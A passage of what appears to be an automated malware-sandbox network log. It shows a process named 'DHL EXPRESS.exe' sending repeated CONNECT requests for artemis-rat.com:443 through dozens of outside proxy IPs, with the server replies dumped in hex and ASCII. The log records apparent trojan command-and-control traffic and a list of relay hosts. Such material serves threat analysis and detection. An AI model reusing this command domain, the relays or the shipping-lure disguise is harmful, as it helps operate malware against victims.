1190	192.168.2.8	53540	172.67.181.136	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.331708908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.488059998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.8	53542	104.16.105.15	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.332462072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.488801003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.8	51497	24.176.53.183	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.333178043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409673929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.394422054 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.8	53399	103.242.119.88	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.336232901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.742198944 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>407 Proxy Authentication Required</title></head><body><h1>Proxy Authentication Required</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.8	53429	105.112.140.218	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.339374065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.006108046 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.8	53491	121.182.138.71	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.343962908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.644015074 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.8	53496	110.12.211.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.354281902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.8	53438	103.190.54.141	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.354343891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.8	53579	104.27.122.6	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.358882904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.513134956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.8	53498	121.66.198.76	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.359042883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.8	53453	43.231.22.228	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.363431931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.780643940 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.8	53570	162.214.75.79	52163	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.372076035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845577955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.409794092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.597261906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.800478935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097465038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.300617933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.597219944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.206703901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.8	51661	50.63.12.101	3580	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.374883890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409677029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.503540039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.543442011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.706494093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.706335068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:38.706320047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:02.709091902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:50.706356049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.8	53501	23.137.248.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.383342028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.675972939 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.8	53497	185.101.16.52	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.388972998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.8	53506	47.243.205.1	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.404223919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.723546982 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.8	53664	104.17.37.235	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.405083895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.559299946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.8	53519	51.89.14.70	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.406987906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.798597097 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.8	53658	156.154.112.21	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.408598900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.570040941 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid/3.5.25 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1557 X-Squid-Error: ERR_UNSUP_REQ 0 X-Cache: MISS from . X-Cache-Lookup: NONE from .:80 Via: 1.1 . (squid/3.5.25) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 55 4e 53 55 50 5f 52 45 51 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 